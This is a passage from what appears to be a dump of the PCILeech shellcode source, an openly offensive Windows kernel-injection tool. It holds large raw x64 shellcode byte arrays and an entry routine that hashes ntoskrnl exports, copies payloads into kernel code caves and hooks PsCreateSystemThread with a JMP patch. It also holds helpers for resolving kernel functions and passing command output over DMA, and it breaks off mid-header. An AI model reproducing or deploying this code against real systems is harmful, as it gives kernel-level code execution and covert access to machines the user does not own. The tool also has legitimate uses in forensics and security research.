0x20, 0xc3, 0x46, 0x0f, 0xb7, 0x04, 0x46, 0x44, 0x3b, 0x42, 0x14,\n\t\t0x73, 0xde, 0x42, 0x8b, 0x04, 0x87, 0x48, 0x03, 0xc1, 0xeb, 0xd7\n\t};\n\t*ppb = WINX64_PSCMD_KERNEL_BIN;\n\t*pcb = sizeof(WINX64_PSCMD_KERNEL_BIN);\n}\n\n// standard wx64_exec_user payload, compile and extract shellcode with:\n// \n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC wx64_exec_user_c.c\n// ml64 wx64_exec_user.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_exec_user_c.obj\n// shellcode64.exe -o wx64_exec_user.exe\n// xxd -i wx64_exec_user.bin\nVOID GetData_PSCMD_USER(PBYTE *ppb, PDWORD pcb)\n{\n\tBYTE WINX64_PSCMD_USER_BIN[] = {\n\t\t0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8d, 0x0d, 0x49, 0x00, 0x00, 0x00, 0xf0,\n\t\t0x0f, 0xb0, 0x11, 0x75, 0x42, 0x48, 0x8d, 0x0d, 0xe8, 0xff, 0xff, 0xff,\n\t\t0x48, 0x81, 0xe1, 0x00, 0xf0, 0xff, 0xff, 0x65, 0x48, 0x8b, 0x14, 0x25,\n\t\t0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18,\n\t\t0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x12, 0x48, 0x8b, 0x12, 0x48, 0x8b,\n\t\t0x52, 0x20, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83,\n\t\t0xec, 0x20, 0xe8, 0xe1, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3,\n\t\t0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74,\n\t\t0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x48, 0x63, 0x41, 0x3c, 0x4c,\n\t\t0x8b, 0xc9, 0x8b, 0xf2, 0x44, 0x8b, 0x84, 0x08, 0x88, 0x00, 0x00, 0x00,\n\t\t0x4c, 0x03, 0xc1, 0x45, 0x8b, 0x50, 0x20, 0x45, 0x8b, 0x58, 0x24, 0x4c,\n\t\t0x03, 0xd1, 0x41, 0x8b, 0x58, 0x1c, 0x4c, 0x03, 0xd9, 0x41, 0x8b, 0x78,\n\t\t0x18, 0x48, 0x03, 0xd9, 0x33, 0xc9, 0x85, 0xff, 0x74, 0x2d, 0x41, 0x8b,\n\t\t0x12, 0x49, 0x03, 0xd1, 0x45, 0x33, 0xc0, 0xeb, 0x0d, 0x0f, 0xb6, 0xc0,\n\t\t0x48, 0xff, 0xc2, 0x41, 0xc1, 0xc8, 0x0d, 0x44, 0x03, 0xc0, 0x8a, 0x02,\n\t\t0x84, 0xc0, 0x75, 0xed, 0x44, 0x3b, 0xc6, 0x74, 0x1c, 0xff, 0xc1, 0x49,\n\t\t0x83, 0xc2, 0x04, 0x3b, 0xcf, 0x72, 0xd3, 0x33, 0xc0, 0x48, 0x8b, 0x5c,\n\t\t0x24, 0x08, 0x48, 0x8b, 0x74, 0x24, 0x10, 0x48, 0x8b, 0x7c, 0x24, 0x18,\n\t\t0xc3, 0x41, 0x0f, 0xb7, 0x0c, 0x4b, 0x8b, 0x04, 0x8b, 0x49, 0x03, 0xc1,\n\t\t0xeb, 0xe3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b,\n\t\t0x41, 0x78, 0x48, 0x8b, 0xd9, 0x33, 0xc9, 0x48, 0x89, 0x08, 0x39, 0x8b,\n\t\t0x88, 0x00, 0x00, 0x00, 0x74, 0x22, 0x89, 0x8b, 0x88, 0x00, 0x00, 0x00,\n\t\t0x48, 0x8b, 0x4b, 0x58, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x4b, 0x50, 0xff,\n\t\t0x53, 0x08, 0x48, 0x8b, 0x4b, 0x60, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x4b,\n\t\t0x68, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x43, 0x70, 0x48, 0xb9, 0xac, 0xda,\n\t\t0x37, 0x13, 0x00, 0x22, 0xda, 0xfe, 0x48, 0x89, 0x08, 0x48, 0x8b, 0x43,\n\t\t0x78, 0x48, 0x89, 0x08, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc,\n\t\t0x40, 0x53, 0x48, 0x83, 0xec, 0x70, 0xba, 0x68, 0x00, 0x00, 0x00, 0x48,\n\t\t0x8b, 0xd9, 0x8d, 0x4a, 0xd8, 0xff, 0x53, 0x30, 0xc7, 0x00, 0x68, 0x00,\n\t\t0x00, 0x00, 0xc7, 0x40, 0x3c, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x13,\n\t\t0x48, 0x83, 0xba, 0x08, 0x01, 0x00, 0x00, 0x00, 0x74, 0x18, 0x48, 0x8b,\n\t\t0x4b, 0x60, 0x48, 0x89, 0x48, 0x58, 0x48, 0x8b, 0x4b, 0x68, 0x48, 0x89,\n\t\t0x48, 0x50, 0x48, 0x8b, 0x4b, 0x60, 0x48, 0x89, 0x48, 0x60, 0x48, 0x8b,\n\t\t0x13, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x4c, 0x24, 0x48, 0x45,\n\t\t0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x40, 0x45, 0x33, 0xc0, 0x48, 0x83,\n\t\t0x64, 0x24, 0x38, 0x00, 0x33, 0xc9, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00,\n\t\t0x8b, 0x82, 0x10, 0x01, 0x00, 0x00, 0x89, 0x44, 0x24, 0x28, 0xc7, 0x44,\n\t\t0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0xff, 0x53, 0x18, 0x85, 0xc0, 0x74,\n\t\t0x26, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x8b, 0x80, 0x00, 0x00,\n\t\t0x00, 0x48, 0x8b, 0x0b, 0x48, 0x83, 0xb9, 0x08, 0x01, 0x00, 0x00, 0x00,\n\t\t0x74, 0x08, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0xff, 0x53, 0x08, 0xb8, 0x01,\n\t\t0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x70, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc,\n\t\t0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48,\n\t\t0x89, 0x70, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xe9, 0xc7,\n\t\t0x40, 0xc8, 0xfb, 0x97, 0xfd, 0x0f, 0xc7, 0x40, 0xcc, 0x80, 0x8f, 0x0c,\n\t\t0x17, 0x48, 0x8d, 0x7a, 0x48, 0xc7, 0x40, 0xd0, 0x72, 0xfe, 0xb3, 0x16,\n\t\t0x48, 0x8d, 0x70, 0xec, 0xc7, 0x40, 0xd4, 0x6b, 0xd0, 0x2b, 0xca, 0xbb,\n\t\t0x09, 0x00, 0x00, 0x00, 0xc7, 0x40, 0xd8, 0x74, 0xab, 0x30, 0xac, 0xc7,\n\t\t0x40, 0xdc, 0xfa, 0x97, 0x02, 0x4c, 0xc7, 0x40, 0xe0, 0x16, 0x65, 0xfa,\n\t\t0x10, 0xc7, 0x40, 0xe4, 0xb0, 0x49, 0x2d, 0xdb, 0xc7, 0x40, 0xe8, 0x1f,\n\t\t0x79, 0x0a, 0xe8, 0x48, 0x8d, 0x76, 0xfc, 0x48, 0x8b, 0xcd, 0x8b, 0x16,\n\t\t0x48, 0x8d, 0x7f, 0xf8, 0xe8, 0xeb, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x07,\n\t\t0x83, 0xc3, 0xff, 0x75, 0xe6, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b,\n\t\t0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50,\n\t\t0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0xc1, 0x48,\n\t\t0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0x89, 0x80, 0x00, 0x00, 0x00, 0xff,\n\t\t0x50, 0x28, 0x33, 0xc9, 0x85, 0xc0, 0x74, 0x0f, 0x81, 0x7c, 0x24, 0x30,\n\t\t0x03, 0x01, 0x00, 0x00, 0x75, 0x05, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x8b,\n\t\t0xc1, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24,\n\t\t0x10, 0x56, 0x48, 0x83, 0xec, 0x30, 0x83, 0xb9, 0x88, 0x00, 0x00, 0x00,\n\t\t0x00, 0x48, 0x8b, 0xd9, 0x0f, 0x84, 0xab, 0x00, 0x00, 0x00, 0xbe, 0x00,\n\t\t0x08, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xa5, 0xff, 0xff, 0xff, 0x85,\n\t\t0xc0, 0x0f, 0x84, 0x96, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x43, 0x70, 0x4c,\n\t\t0x8b, 0x4b, 0x78, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x8b, 0x48, 0x10,\n\t\t0x41, 0x8b, 0x51, 0x08, 0x81, 0xe1, 0xff, 0x07, 0x00, 0x00, 0x81, 0xe2,\n\t\t0xff, 0x07, 0x00, 0x00, 0x3b, 0xca, 0x8b, 0xc2, 0x48, 0x8b, 0x4b, 0x58,\n\t\t0x77, 0x08, 0x44, 0x8b, 0xc6, 0x44, 0x2b, 0xc2, 0xeb, 0x03, 0x45, 0x33,\n\t\t0xc0, 0x49, 0x8d, 0x51, 0x68, 0x48, 0x03, 0xd0, 0x4c, 0x8d, 0x4c, 0x24,\n\t\t0x40, 0xff, 0x53, 0x38, 0x85, 0xc0, 0x74, 0x4d, 0x48, 0x8b, 0x4b, 0x78,\n\t\t0x8b, 0x44, 0x24, 0x40, 0x48, 0x01, 0x41, 0x08, 0xeb, 0x1d, 0x83, 0xbb,\n\t\t0x88, 0x00, 0x00, 0x00, 0x00, 0x74, 0x36, 0x48, 0x8b, 0xcb, 0xe8, 0x35,\n\t\t0xff, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x1d, 0xb9, 0x0a, 0x00, 0x00, 0x00,\n\t\t0xff, 0x53, 0x40, 0x48, 0x8b, 0x4b, 0x78, 0x48, 0x8b, 0x43, 0x70, 0x48,\n\t\t0x8b, 0x49, 0x08, 0x48, 0x2b, 0x48, 0x10, 0x48, 0x3b, 0xce, 0x73, 0xce,\n\t\t0x83, 0xbb, 0x88, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x85, 0x5a, 0xff, 0xff,\n\t\t0xff, 0x48, 0x8b, 0xcb, 0xe8, 0x5b, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x5c,\n\t\t0x24, 0x48, 0x48, 0x83, 0xc4, 0x30, 0x5e, 0xc3, 0x40, 0x53, 0x48, 0x83,\n\t\t0xec, 0x30, 0x83, 0xb9, 0x88, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9,\n\t\t0x74, 0x78, 0x48, 0x8b, 0xcb, 0xe8, 0xda, 0xfe, 0xff, 0xff, 0x85, 0xc0,\n\t\t0x74, 0x6c, 0x48, 0x8b, 0x53, 0x78, 0x48, 0x8b, 0x4b, 0x70, 0x48, 0x8b,\n\t\t0x42, 0x10, 0x48, 0x39, 0x41, 0x08, 0x75, 0x0a, 0xb9, 0x0a, 0x00, 0x00,\n\t\t0x00, 0xff, 0x53, 0x40, 0xeb, 0x47, 0x44, 0x8b, 0x41, 0x08, 0x48, 0x8d,\n\t\t0x51, 0x68, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8d, 0x4c, 0x24,\n\t\t0x40, 0x48, 0x8b, 0x4b, 0x50, 0x25, 0xff, 0x07, 0x00, 0x00, 0x41, 0x81,\n\t\t0xe0, 0xff, 0x07, 0x00, 0x00, 0x48, 0x03, 0xd0, 0x41, 0x3b, 0xc0, 0x72,\n\t\t0x06, 0x41, 0xb8, 0x00, 0x08, 0x00, 0x00, 0x44, 0x2b, 0xc0, 0xff, 0x53,\n\t\t0x48, 0x85, 0xc0, 0x74, 0x15, 0x48, 0x8b, 0x4b, 0x78, 0x8b, 0x44, 0x24,\n\t\t0x40, 0x48, 0x01, 0x41, 0x10, 0x83, 0xbb, 0x88, 0x00, 0x00, 0x00, 0x00,\n\t\t0x75, 0x88, 0x48, 0x8b, 0xcb, 0xe8, 0xbe, 0xfc, 0xff, 0xff, 0x48, 0x83,\n\t\t0xc4, 0x30, 0x5b, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74,\n\t\t0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xfa, 0x48, 0x8b,\n\t\t0xd9, 0x48, 0x8b, 0xcf, 0xba, 0xfa, 0x97, 0x02, 0x4c, 0xe8, 0x06, 0xfc,\n\t\t0xff, 0xff, 0xba, 0x90, 0x00, 0x00, 0x00, 0x8d, 0x4a, 0xb0, 0xff, 0xd0,\n\t\t0x48, 0x8d, 0x8b, 0xe8, 0x0e, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x89,\n\t\t0x08, 0x48, 0x8d, 0x50, 0x08, 0x48, 0x8b, 0xcf, 0xe8, 0x83, 0xfd, 0xff,\n\t\t0xff, 0x48, 0x8b, 0x0e, 0x48, 0x83, 0xb9, 0x08, 0x01, 0x00, 0x00, 0x00,\n\t\t0x74, 0x7b, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x4c, 0x8d, 0x44, 0x24,\n\t\t0x30, 0xc7, 0x44, 0x24, 0x30, 0x18, 0x00, 0x00, 0x00, 0x48, 0xba, 0x21,\n\t\t0x95, 0xef, 0xdf, 0x32, 0x12, 0x65, 0x12, 0xbf, 0x01, 0x00, 0x00, 0x00,\n\t\t0xbb, 0x00, 0x08, 0x00, 0x00, 0x89, 0x7c, 0x24, 0x40, 0x44, 0x8b, 0xcb,\n\t\t0x48, 0x8b, 0x06, 0x48, 0x8b, 0x88, 0x08, 0x01, 0x00, 0x00, 0x48, 0x89,\n\t\t0x4e, 0x70, 0x48, 0x8b, 0x80, 0x08, 0x01, 0x00, 0x00, 0x48, 0x05, 0x00,\n\t\t0x10, 0x00, 0x00, 0x48, 0x89, 0x46, 0x78, 0x48, 0x89, 0x11, 0x48, 0x8d,\n\t\t0x4e, 0x68, 0x48, 0x8b, 0x46, 0x78, 0x48, 0x89, 0x10, 0x48, 0x8d, 0x56,\n\t\t0x50, 0xff, 0x56, 0x10, 0x48, 0x8d, 0x56, 0x60, 0x44, 0x8b, 0xcb, 0x48,\n\t\t0x8d, 0x4e, 0x58, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0xff, 0x56, 0x10, 0x89,\n\t\t0xbe, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xe8, 0x3f, 0xfc, 0xff,\n\t\t0xff, 0x85, 0xc0, 0x75, 0x0a, 0x48, 0x8b, 0xce, 0xe8, 0xd7, 0xfb, 0xff,\n\t\t0xff, 0xeb, 0x45, 0x48, 0x8b, 0x06, 0x48, 0x83, 0xb8, 0x08, 0x01, 0x00,\n\t\t0x00, 0x00, 0x74, 0x38, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x8d,\n\t\t0x05, 0x6b, 0xfe, 0xff, 0xff, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8b,\n\t\t0xce, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x20, 0x48, 0x83, 0x64, 0x24,\n\t\t0x28, 0x00, 0x4c, 0x8d, 0x05, 0x77, 0xfd, 0xff, 0xff, 0x83, 0x64, 0x24,\n\t\t0x20, 0x00, 0x4c, 0x8b, 0xce, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x20,\n\t\t0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83,\n\t\t0xc4, 0x50, 0x5f, 0xc3\n\t};\n\t*ppb = WINX64_PSCMD_USER_BIN;\n\t*pcb = sizeof(WINX64_PSCMD_USER_BIN);\n}\n\n// ----------------------------------------------------------------------------\n// CORE LOGIC/MASTER FUNCTIONALITY BELOW:\n// ----------------------------------------------------------------------------\n\n#define H_PsCreateSystemThread          0x94a06b02\nVOID c_EntryPoint(PKMDDATA pk)\n{\n\tPBYTE pbData;\n\tDWORD cbData;\n\tQWORD hModuleNTOSKRNL, hPsCreateSystemThread, hHookFn, hHook;\n\tQWORD hKMD, hVFS, hPSCMD_KERNEL, hPSCMD_USER;\n\tDWORD dwOffsetRET = 0, dwOffsetJMP;\n\t// locate ntoskrnl.exe\n\thModuleNTOSKRNL = FindNtoskrnl();\n\tif(!hModuleNTOSKRNL) {\n\t\tpk->dataOut[0] = 0xf0000001;\n\t\treturn;\n\t}\n\tpk->dataOut[1] = hModuleNTOSKRNL;\n\t// locate hook function - PsCreateSystemThreadEx\n\thPsCreateSystemThread = PEGetProcAddressH(hModuleNTOSKRNL, H_PsCreateSystemThread);\n\tif(!hPsCreateSystemThread) {\n\t\tpk->dataOut[0] = 0xf0000002;\n\t\treturn;\n\t}\n\thHookFn = hPsCreateSystemThread;\n\tpk->dataOut[2] = hHookFn;\n\t// hook : locate, but do not patch yet.\n\twhile(TRUE) {\n\t\tif((*(PBYTE)(hHookFn + dwOffsetRET) == 0xC3 /* RET */) && (*(PDWORD)(hHookFn + dwOffsetRET + 1) == 0xCCCCCCCC /* PAD */)) {\n\t\t\tbreak;\n\t\t}\n\t\tif(dwOffsetRET == 0x100) {\n\t\t\tpk->dataOut[0] = 0xf0000003;\n\t\t\treturn;\n\t\t}\n\t\tdwOffsetRET++;\n\t}\n\thHook = hHookFn + dwOffsetRET;\n\t// code cave : locate and patch in VFS (virtual file system) module.\n\tGetData_VFS(&pbData, &cbData);\n\thVFS = FindCodeCave(hModuleNTOSKRNL, cbData);\n\tif(!hVFS) {\n\t\tpk->dataOut[0] = 0xf0000004;\n\t\treturn;\n\t}\n\tpk->dataOut[3] = hVFS;\n\tCopyMem((PVOID)hVFS, (PVOID)pbData, cbData);\n\t// code cave : locate and patch in KMD (windows pcileech kernel module).\n\tGetData_KMD(&pbData, &cbData);\n\thKMD = FindCodeCave(hModuleNTOSKRNL, cbData);\n\tif(!hKMD) {\n\t\tpk->dataOut[0] = 0xf0000005;\n\t\treturn;\n\t}\n\tpk->dataOut[4] = hKMD;\n\tCopyMem((PVOID)hKMD, (PVOID)pbData, cbData);\n\t// code cave : locate and patch in pscmd kernelmode code.\n\tGetData_PSCMD_KERNEL(&pbData, &cbData);\n\thPSCMD_KERNEL = FindCodeCave(hModuleNTOSKRNL, cbData);\n\tif(!hPSCMD_KERNEL) {\n\t\tpk->dataOut[0] = 0xf0000006;\n\t\treturn;\n\t}\n\tpk->dataOut[5] = hPSCMD_KERNEL;\n\tCopyMem((PVOID)hPSCMD_KERNEL, (PVOID)pbData, cbData);\n\t// code cave : locate and patch in pscmd usermode code.\n\tGetData_PSCMD_USER(&pbData, &cbData);\n\thPSCMD_USER = FindCodeCave(hModuleNTOSKRNL, cbData);\n\tif(!hPSCMD_USER) {\n\t\tpk->dataOut[0] = 0xf0000006;\n\t\treturn;\n\t}\n\tpk->dataOut[6] = hPSCMD_USER;\n\tCopyMem((PVOID)hPSCMD_USER, (PVOID)pbData, cbData);\n\t// patch in offsets in KMD code\n\t*(PWORD)(hKMD + 0x02) = pk->dataIn[0] ? (WORD)pk->dataIn[0] : 0x0045;\n\t*(PDWORD)(hKMD + 0x04) = (DWORD)hModuleNTOSKRNL;\n\t*(PDWORD)(hKMD + 0x08) = (DWORD)hKMD;\n\t*(PDWORD)(hKMD + 0x0C) = (DWORD)hVFS;\n\t*(PDWORD)(hKMD + 0x10) = (DWORD)hPSCMD_KERNEL;\n\t*(PDWORD)(hKMD + 0x14) = (DWORD)hPSCMD_USER;\n\t// hook function by patching RET instruction\n\tdwOffsetJMP = (DWORD)hKMD - ((DWORD)hHook + 5);\n\t*(PBYTE)(hHook) = 0xE9;\t\t\t\t\t// JMP\n\t*(PDWORD)(hHook + 1) = dwOffsetJMP;\t\t// JMP ADDR\n}\n"
  },
  {
    "path": "pcileech_shellcode/wx64_common.c",
    "content": "// wx64_common.c : support functions used by Windows x64 KMDs started by stage3 EXEC.\n// Compatible with Windows x64.\n//\n// (c) Ulf Frisk, 2016, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\n#include \"wx64_common.h\"\n\nDWORD HashROR13A(_In_ LPCSTR sz)\n{\n\tDWORD dwVal, dwHash = 0;\n\twhile(*sz) {\n\t\tdwVal = (DWORD)*sz++;\n\t\tdwHash = (dwHash >> 13) | (dwHash << 19);\n\t\tdwHash += dwVal;\n\t}\n\treturn dwHash;\n}\n\nQWORD PEGetProcAddressH(_In_ QWORD hModule, _In_ DWORD dwProcNameH)\n{\n\tPDWORD pdwRVAAddrNames, pdwRVAAddrFunctions;\n\tPWORD pwNameOrdinals;\n\tDWORD i, dwFnIdx, dwHash;\n\tLPSTR sz;\n\tPIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; // dos header.\n\tif(!dosHeader || dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return 0; }\n\tPIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(hModule + dosHeader->e_lfanew); // nt header\n\tif(!ntHeader || ntHeader->Signature != IMAGE_NT_SIGNATURE) { return 0; }\n\tPIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hModule);\n\tif(!exp || !exp->NumberOfNames || !exp->AddressOfNames) { return 0; }\n\tpdwRVAAddrNames = (PDWORD)(hModule + exp->AddressOfNames);\n\tpwNameOrdinals = (PWORD)(hModule + exp->AddressOfNameOrdinals);\n\tpdwRVAAddrFunctions = (PDWORD)(hModule + exp->AddressOfFunctions);\n\tfor(i = 0; i < exp->NumberOfNames; i++) {\n\t\tsz = (LPSTR)(hModule + pdwRVAAddrNames[i]);\n\t\tdwHash = HashROR13A(sz);\n\t\tif(dwHash == dwProcNameH) {\n\t\t\tdwFnIdx = pwNameOrdinals[i];\n\t\t\tif(dwFnIdx >= exp->NumberOfFunctions) { return 0; }\n\t\t\treturn (QWORD)(hModule + pdwRVAAddrFunctions[dwFnIdx]);\n\t\t}\n\t}\n\treturn 0;\n}\n\n// see http://alter.org.ua/docs/nt_kernel/procaddr/\nQWORD KernelGetModuleBase(_In_ PKERNEL_FUNCTIONS fnk, _In_ LPSTR szModuleName)\n{\n\tPBYTE pbSystemInfoBuffer;\n\tSIZE_T cbSystemInfoBuffer = 0;\n\tPSYSTEM_MODULE_INFORMATION_ENTRY pSME;\n\tQWORD i, qwAddrModuleBase = 0;\n\tfnk->ZwQuerySystemInformation(11, NULL, 0, (PULONG)&cbSystemInfoBuffer);\n\tif(!cbSystemInfoBuffer) { return 0; }\n\tpbSystemInfoBuffer = (PBYTE)fnk->ExAllocatePool(0, cbSystemInfoBuffer);\n\tif(!pbSystemInfoBuffer) { return 0; }\n\tif(0 == fnk->ZwQuerySystemInformation(11, pbSystemInfoBuffer, (ULONG)cbSystemInfoBuffer, (PULONG)&cbSystemInfoBuffer)) {\n\t\tpSME = ((PSYSTEM_MODULE_INFORMATION)(pbSystemInfoBuffer))->Module;\n\t\tfor(i = 0; i < ((PSYSTEM_MODULE_INFORMATION)(pbSystemInfoBuffer))->Count; i++) {\n\t\t\tif(0 == fnk->_stricmp(szModuleName, pSME[i].ImageName + pSME[i].PathLength)) {\n\t\t\t\tqwAddrModuleBase = pSME[i].Base;\n\t\t\t}\n\t\t}\n\t}\n\tif(pbSystemInfoBuffer) { fnk->ExFreePool(pbSystemInfoBuffer); }\n\treturn qwAddrModuleBase;\n}\n\nVOID InitializeKernelFunctions(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS fnk)\n{\n\tDWORD i = 0, NAMES[25];\n\tNAMES[i++] = H__stricmp;\n\tNAMES[i++] = H_ExAllocatePool;\n\tNAMES[i++] = H_ExFreePool;\n\tNAMES[i++] = H_IoCreateDriver;\n\tNAMES[i++] = H_KeDelayExecutionThread;\n\tNAMES[i++] = H_KeGetCurrentIrql;\n\tNAMES[i++] = H_MmGetPhysicalAddress;\n\tNAMES[i++] = H_MmLoadSystemImage;\n\tNAMES[i++] = H_MmMapIoSpace;\n\tNAMES[i++] = H_MmUnloadSystemImage;\n\tNAMES[i++] = H_MmUnmapIoSpace;\n\tNAMES[i++] = H_RtlAnsiStringToUnicodeString;\n\tNAMES[i++] = H_RtlCopyMemory;\n\tNAMES[i++] = H_RtlFreeUnicodeString;\n\tNAMES[i++] = H_RtlInitAnsiString;\n\tNAMES[i++] = H_RtlInitUnicodeString;\n\tNAMES[i++] = H_RtlZeroMemory;\n\tNAMES[i++] = H_ZwClose;\n\tNAMES[i++] = H_ZwCreateFile;\n\tNAMES[i++] = H_ZwOpenFile;\n\tNAMES[i++] = H_ZwQueryDirectoryFile;\n\tNAMES[i++] = H_ZwQuerySystemInformation;\n\tNAMES[i++] = H_ZwSetSystemInformation;\n\tNAMES[i++] = H_ZwReadFile;\n\tNAMES[i++] = H_ZwWriteFile;\n\twhile(i) {\n\t\ti--;\n\t\t*((PQWORD)fnk + i) = (QWORD)PEGetProcAddressH(qwNtosBase, NAMES[i]);\n\t}\n}\n\nDWORD PEGetImageSize(_In_ QWORD hModule)\n{\n\tPIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; // dos header.\n\tif(!dosHeader || dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return 0; }\n\tPIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((LONG_PTR)hModule + dosHeader->e_lfanew); // nt header\n\tif(!ntHeader || ntHeader->Signature != IMAGE_NT_SIGNATURE) { return 0; }\n\treturn ntHeader->OptionalHeader.SizeOfImage;\n}\n\nVOID CommonSleep(_In_ PKERNEL_FUNCTIONS fnk, _In_ DWORD ms)\n{\n\tLONGLONG llTimeToWait = -10000LL * ms;\n\tfnk->KeDelayExecutionThread(KernelMode, FALSE, &llTimeToWait);\n}\n\nBOOL _WriteLargeOutput_WaitForAck(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKMDDATA pk)\n{\n\tPEXEC_IO pis = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_IS);\n\tPEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);\n\twhile((pk->_op == KMD_CMD_EXEC_EXTENDED) && ((pis->magic != EXEC_IO_MAGIC) || (!pis->bin.fCompletedAck && (pis->bin.seqAck != pos->bin.seq)))) {\n\t\tCommonSleep(fnk, 25);\n\t}\n\treturn (pk->_op == KMD_CMD_EXEC_EXTENDED) && !pis->bin.fCompletedAck;\n}\n\nBOOL WriteLargeOutput_WaitNext(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKMDDATA pk)\n{\n\tPEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);\n\tpos->magic = EXEC_IO_MAGIC;\n\tCacheFlush();\n\tpos->bin.seq++;\n\tpk->_op = KMD_CMD_EXEC_EXTENDED;\n\treturn _WriteLargeOutput_WaitForAck(fnk, pk);\n}\n\nVOID WriteLargeOutput_Finish(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKMDDATA pk)\n{\n\tPEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);\n\tWriteLargeOutput_WaitNext(fnk, pk);\n\tpk->dataOutExtraLength = 0;\n\tCacheFlush();\n\tpos->bin.fCompleted = TRUE;\n\tpos->bin.seq++;\n\t_WriteLargeOutput_WaitForAck(fnk, pk);\n\tpk->_op = KMD_CMD_EXEC;\n}\n"
  },
  {
    "path": "pcileech_shellcode/wx64_common.h",
    "content": "// wx64_common.h : declarations of commonly used shellcode functions\n// Compatible with Windows x64.\n//\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n\n#ifndef __WX64_COMMON_H__\n#define __WX64_COMMON_H__\n#include <windows.h>\n#include \"statuscodes.h\"\n\n#pragma warning( disable : 4047 4055 4127 4200 4201 4204)\n\ntypedef unsigned __int64\t\tQWORD, *PQWORD;\ntypedef UCHAR KIRQL;\ntypedef KIRQL *PKIRQL;\ntypedef struct _EPROCESS *PEPROCESS;\ntypedef struct _ETHREAD *PETHREAD;\n//#define _bs64 _byteswap_uint64  \n#define _bs32(x) ((x << 24) | (x >> 24) | ((x << 8) & 0x00ff0000 ) | ((x >> 8) & 0x0000ff00))\n#define _bs16(x) ((x << 8) | (x >> 8))\n\n#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)\n#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)\n#define NT_WARNING(Status) 